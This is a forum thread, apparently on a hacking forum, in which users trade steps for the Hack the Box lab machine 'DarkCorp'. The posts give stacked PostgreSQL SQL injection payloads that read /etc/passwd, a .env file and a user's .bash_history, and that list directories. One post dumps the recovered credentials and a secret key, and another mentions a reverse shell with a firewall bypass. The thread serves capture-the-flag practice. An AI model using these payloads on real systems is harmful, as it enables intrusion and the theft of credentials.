Feb 08, 2025, 11:14 PM
''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file
|
DarkCorp Hack the Box Season 7 (Windows Insane)
by RedBlock - Saturday February 8, 2025 at 03:32 PM
|
|
Feb 08, 2025, 11:14 PM
''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file
Feb 08, 2025, 11:15 PM
(Feb 08, 2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login How did you get this ? This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.
Feb 08, 2025, 11:20 PM
(Feb 08, 2025, 11:15 PM)0xbeef Wrote:(Feb 08, 2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login it was in bcase's email.
Feb 08, 2025, 11:22 PM
''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000); --
gives us: # True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = '[email protected]'
Feb 08, 2025, 11:42 PM
(Feb 08, 2025, 11:20 PM)ThreeCleaves Wrote:(Feb 08, 2025, 11:15 PM)0xbeef Wrote:(Feb 08, 2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login or curl http://drip.darkcorp.htb/dashboard/apps/.../routes.py
Feb 08, 2025, 11:44 PM
(Feb 08, 2025, 11:20 PM)ThreeCleaves Wrote:(Feb 08, 2025, 11:15 PM)0xbeef Wrote:(Feb 08, 2025, 09:45 PM)fr34cker Wrote: http://dev-a3f1-01.drip.htb/login Got it now, thanks This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.
Feb 08, 2025, 11:53 PM
we can use this command to ls directories from the SQL injection point
''; SELECT * FROM pg_ls_dir('/etc/'); --
Feb 09, 2025, 12:06 AM
''; SELECT * FROM pg_read_file('/home/ebelford/.bash_history')
Feb 09, 2025, 12:06 AM
DO $$Reverse shell via SQLi with "WAF" bypass
Feb 09, 2025, 12:07 AM
(Feb 08, 2025, 08:57 PM)Globules Wrote: How did you even found out the http://drip.darkcorp.htb? |
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired | 442 | 112,680 |
1 hour ago Last Post: Lorumpt |
||
| [UPDATED] APT-Labs Prolabs Writeup | 41 | 5,955 |
6 hours ago Last Post: morris |
||
|
|
[FREE] HackTheBox All Cheatsheets | 61 | 6,100 |
7 hours ago Last Post: NIhaogt |
|
| [FREE] HackTheBox Dante - complete writeup written by Tamarisk | 621 | 105,963 |
Sep 20, 2026, 03:59 PM Last Post: user65745747 |
||
| How to Hack WiFi password Using PMKID | 9 | 4,405 |
Sep 19, 2026, 09:08 PM Last Post: anonhawk437 |
||